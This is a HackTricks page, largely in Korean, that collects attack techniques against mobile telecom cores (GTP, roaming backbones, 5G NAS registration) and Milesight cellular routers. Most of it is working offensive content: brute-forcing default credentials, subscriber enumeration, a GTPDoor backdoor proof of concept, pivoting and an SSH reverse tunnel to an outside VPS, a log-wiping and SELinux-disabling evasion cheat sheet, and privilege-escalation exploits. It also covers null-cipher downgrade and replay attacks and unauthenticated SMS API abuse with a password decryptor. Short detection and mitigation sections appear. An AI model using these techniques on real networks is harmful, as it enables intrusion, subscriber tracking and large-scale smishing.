Telecom Network Exploitation (GTP / Roaming Environments)
Reading time: 12 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
note
모바일 코어 프로토콜 (GPRS Tunnelling Protocol – GTP)은 종종 신뢰도가 부분적인 GRX/IPX 로밍 백본을 통과합니다. 이들이 거의 인증 없이 평문 UDP 위에서 동작하기 때문에, 통신망 경계 내부의 어떤 foothold도 보통 코어 signalling plane에 직접 접근할 수 있습니다. 아래의 메모는 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 야생에서 관찰된 공격 기법들을 수집한 것입니다.
1. 정찰 및 초기 접근
1.1 기본 OSS / NE 계정
상당수의 벤더 네트워크 요소는 root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … 와 같은 하드코딩된 SSH/Telnet 사용자를 탑재한 채로 출고됩니다. 전용 워드리스트는 무차별 대입 성공률을 크게 높입니다:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
장치가 관리 VRF만 노출하는 경우, 먼저 jump host를 통해 pivot하세요 (아래 섹션 «SGSN Emu Tunnel» 참조).
1.2 GRX/IPX 내부 호스트 검색
대부분의 GRX 사업자들은 여전히 백본 전반에 걸쳐 ICMP echo를 허용합니다. masscan의 내장 gtpv1 UDP 프로브를 결합하여 GTP-C listeners를 빠르게 매핑하세요:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. 가입자 열거 – cordscan
다음 Go 도구는 GTP-C Create PDP Context Request 패킷을 생성하고 응답을 기록합니다. 각 응답은 조회된 IMSI에 서비스를 제공하는 현재 SGSN / MME를 알려주며, 때로는 가입자가 방문한 PLMN을 보여주기도 합니다.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Key flags:
--imsi대상 가입자 IMSI--oper홈 / HNI (MCC+MNC)-w원시 패킷을 pcap에 기록
바이너리 내부의 중요한 상수를 패치하여 스캔 범위를 넓힐 수 있습니다:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. GTP를 통한 코드 실행 – GTPDoor
GTPDoor는 작은 ELF 서비스로 UDP 2123에 바인드하고 들어오는 모든 GTP-C 패킷을 파싱합니다. 페이로드가 사전 공유 태그로 시작하면 나머지는 복호화 (AES-128-CBC)되어 /bin/sh -c로 실행됩니다. stdout/stderr는 Echo Response 메시지로 exfiltrated되어 외부 세션이 전혀 생성되지 않습니다.
Minimal PoC packet (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Detection:
- 어떤 호스트가 SGSN IPs로 unbalanced Echo Requests를 전송하는 경우
- GTP version flag가 1로 설정되어 있고 message type = 1 (Echo)일 때 — 규격에서 벗어남
4. 코어를 통한 Pivoting
4.1 sgsnemu + SOCKS5
OsmoGGSN는 실제 GGSN/PGW를 향해 PDP context를 설정할 수 있는 SGSN emulator를 제공합니다. 협상이 완료되면, Linux는 로밍 피어에서 접근 가능한 새로운 tun0 인터페이스를 받습니다.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
적절한 firewall hair-pinning이 있으면, 이 터널은 signalling-only VLANs를 우회하여 직접 데이터 플레인에 도달합니다.
4.2 SSH Reverse Tunnel over Port 53
DNS는 로밍 인프라에서 거의 항상 열려 있습니다. 내부 SSH 서비스를 VPS에서 :53으로 리스닝하도록 노출시키고, 나중에 집에서 다시 접속하세요:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
VPS에서 GatewayPorts yes가 활성화되어 있는지 확인하세요.
5. 은밀 채널
| Channel | Transport | Decoding | Notes |
|---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4바이트 키 + 14바이트 청크 (XOR) | 완전 수동 리스너, 아웃바운드 트래픽 없음 |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy) 가 A-레코드 옥텟에 인코딩됨 | *.nodep 서브도메인을 감시함 |
GTP – GTPDoor | UDP 2123 | private IE에 AES-128-CBC 블롭 | 정상 GTP-C 통신과 섞여 눈에 띄지 않음 |
All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.
6. 방어 회피 치트시트
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. 구형 NE에서의 Privilege Escalation
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
정리 팁:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Tool Box
cordscan,GTPDoor,EchoBackdoor,NoDepDNS– custom tooling described in previous sections.FScan: intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)Responder: LLMNR/NBT-NS rogue WPADMicrosocks+ProxyChains: lightweight SOCKS5 pivotingFRP(≥0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
5G 등록 절차는 NGAP 위에서 NAS(Non-Access Stratum)로 실행된다. Security Mode Command/Complete로 NAS 보안이 활성화되기 전까지 초기 메시지는 인증·암호화되지 않는다. 이 보안 전 창은 N2 트래픽을 관찰하거나 변조할 수 있는 경우(예: 코어 내부의 on-path, rogue gNB, 테스트베드) 여러 공격 경로를 허용한다.
등록 흐름(단순화):
- Registration Request: UE가 SUCI(암호화된 SUPI)와 capabilities를 전송한다.
- Authentication: AMF/AUSF가 RAND/AUTN을 보내고; UE는 RES*를 반환한다.
- Security Mode Command/Complete: NAS 무결성과 암호화가 협상되어 활성화된다.
- PDU Session Establishment: IP/QoS 설정.
랩 설정 팁 (비-RF):
- Core: Open5GS 기본 배포로 흐름 재현에 충분하다.
- UE: 시뮬레이터 또는 테스트 UE; Wireshark로 디코드.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Wireshark에서 유용한 display filter:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
예상: UE/USIM은 SUCI(홈 네트워크 공개키로 암호화된 SUPI)를 전송해야 한다. Registration Request에서 평문 SUPI/IMSI를 찾으면 지속적인 가입자 추적을 가능하게 하는 프라이버시 결함을 의미한다.
테스트 방법:
- InitialUEMessage에서 첫 번째 NAS 메시지를 캡처하고 Mobile Identity IE를 검사한다.
- Wireshark 빠른 확인:
- SUCI로 디코드되어야 하며 IMSI가 되어서는 안 된다.
- 필터 예시:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci가 존재해야 한다; 부재하고imsi가 존재하면 유출을 나타낸다.
수집 항목:
- 공개된 경우 MCC/MNC/MSIN; UE별로 기록하고 시간/위치에 따라 추적한다.
완화:
- SUCI 전용 UE/USIM 강제; 초기 NAS에서 IMSI/SUPI가 발견되면 경고한다.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
배경:
- UE는 Registration Request의 UE Security Capability IE에서 지원하는 EEA(암호화) 및 EIA(무결성)를 광고한다.
- 일반 매핑: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0는 null 알고리즘이다.
문제:
- Registration Request가 무결성 보호되지 않기 때문에, on-path 공격자는 capability 비트를 삭제하여 Security Mode Command 동안 이후에 EEA0/EIA0 선택을 강제할 수 있다. 일부 스택은 비상 서비스가 아닌 경우에도 잘못하여 null 알고리즘을 허용한다.
공격 단계:
- InitialUEMessage를 가로채 NAS UE Security Capability를 오직 EEA0/EIA0만 광고하도록 수정한다.
- Sni5Gect로 NAS 메시지를 훅하고 전달 전에 capability 비트를 패치한다.
- AMF가 null 암호/무결성을 수락하고 EEA0/EIA0로 Security Mode를 완료하는지 관찰한다.
검증/가시성:
- Wireshark에서 Security Mode Command/Complete 이후 선택된 알고리즘을 확인한다.
- Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
완화 조치(필수):
- AMF/policy를 구성하여 (예: 긴급 통화 등) 엄격히 요구되는 경우를 제외하고 EEA0/EIA0를 거부하도록 하세요.
- 가능하면 최소한 EEA2/EIA2를 적용하도록 하고; null algorithms을 협상하는 모든 NAS 보안 컨텍스트에 대해 로깅 및 경보를 설정하세요.
9.3 초기 Registration Request 재생 (pre-security NAS)
초기 NAS는 무결성과 신선도가 없으므로, 캡처한 InitialUEMessage+Registration Request를 AMF로 재생할 수 있습니다.
일치하는 재생을 전달하기 위한 5GReplay용 PoC 규칙:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
What to observe:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
Mitigations:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: AMF/SMF/UPF를 띄워 core를 에뮬레이트하고 N2 (NGAP) 및 NAS를 관찰.
- Wireshark: NGAP/NAS의 디코딩을 확인; 위의 필터를 적용해 Registration을 분리.
- 5GReplay: Registration을 캡처한 후 규칙에 따라 특정 NGAP + NAS 메시지를 replay.
- Sni5Gect: NAS control-plane을 실시간으로 sniff/modify/inject하여 null algorithms을 강제하거나 인증 시퀀스를 교란.
9.5 Defensive checklist
- Registration Request를 지속적으로 검사하여 평문 SUPI/IMSI가 노출되는지 확인; 문제가 되는 장치/USIM을 차단.
- EEA0/EIA0는 엄격히 정의된 비상 절차를 제외하고 거부; 최소 EEA2/EIA2 요구.
- 무단 gNB/AMF, 예상치 못한 N2 피어 등 악성 또는 잘못 구성된 인프라를 탐지.
- null algorithms를 초래하거나 InitialUEMessage의 빈번한 재생(replays)이 발생하는 NAS 보안 모드에 대해 경보.
10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
산업용 셀룰러 라우터의 노출된 web API를 악용하면 은밀한 통신사 출처의 smishing을 대규모로 수행할 수 있다. Milesight UR 시리즈 라우터는 /cgi에 JSON-RPC 스타일의 엔드포인트를 노출한다. 잘못 구성된 경우, 이 API는 인증 없이 쿼리되어 SMS inbox/outbox를 나열하거나 일부 배포에서는 SMS를 전송할 수 있다.
Typical unauthenticated requests (same structure for inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
응답에는 timestamp, content, phone_number (E.164), 그리고 status (success 또는 failed) 같은 필드가 포함됩니다. 동일한 번호로의 반복된 failed 전송은 종종 attacker의 “capability checks”로, blasting 전에 라우터/SIM이 전달 가능한지 확인하기 위한 것입니다.
SMS 메타데이터를 exfiltrate하기 위한 예시 curl:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
auth artifacts에 대한 노트:
- 일부 트래픽에는 auth cookie가 포함될 수 있지만, 관리 인터페이스가 Internet-facing일 때 노출된 장치의 상당 부분은
query_inbox/query_outbox에 대해 아무 인증 없이 응답한다. - 인증을 요구하는 환경에서는 previously-leaked credentials (see below)가 접근을 복원한다.
Credential recovery path – CVE-2023-43261:
- 영향받는 제품군: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- 문제: web-served logs (예:
httpd.log)가/lang/log/아래에서 인증 없이 접근 가능하며, 클라이언트 측 JavaScript에 존재하는 하드코딩된 AES key/IV로 암호화된 password를 포함한 admin login events를 담고 있다. - Practical access and decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
leaked 비밀번호를 복호화하기 위한 최소한의 Python (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
헌팅 및 탐지 아이디어 (네트워크):
- 인증되지 않은
POST /cgi요청의 JSON 바디에base/function이query_inbox또는query_outbox로 설정된 경우 경보. - 같은 출발지 IP에서 여러 고유 번호에 걸쳐
status":"failed"항목이 뒤따르는 반복적인POST /cgi폭주를 추적 (capability testing). - 인터넷에 노출된 Milesight 라우터를 목록화; 관리 접근을 VPN으로 제한; 필요하지 않으면 SMS 기능 비활성화; ≥ v35.3.0.7로 업그레이드; 자격 증명 교체 및 알 수 없는 발신에 대한 SMS 로그 검토.
Shodan/OSINT pivots (examples seen in the wild):
http.html:"rt_title"matches Milesight router panels.- Google dorking for exposed logs:
"/lang/log/system" ext:log.
Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.
탐지 아이디어
- SGSN/GGSN 이외의 어떤 장치가 Create PDP Context Requests를 생성하는 경우.
- 내부 IP에서 Non-standard ports (53, 80, 443)으로 SSH handshakes를 수신하는 경우.
- 상응하는 Echo Responses 없이 빈번한 Echo Requests – GTPDoor 비컨일 가능성.
- 식별자/시퀀스 필드가 크고 0이 아닌 값인 ICMP echo-reply 트래픽의 높은 비율.
- 5G: InitialUEMessage가 동일 엔드포인트에서 반복되는 NAS Registration Requests를 포함하는 경우 (replay signal).
- 5G: 비응급 상황에서 NAS Security Mode가 EEA0/EIA0를 협상하는 경우.
참조
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks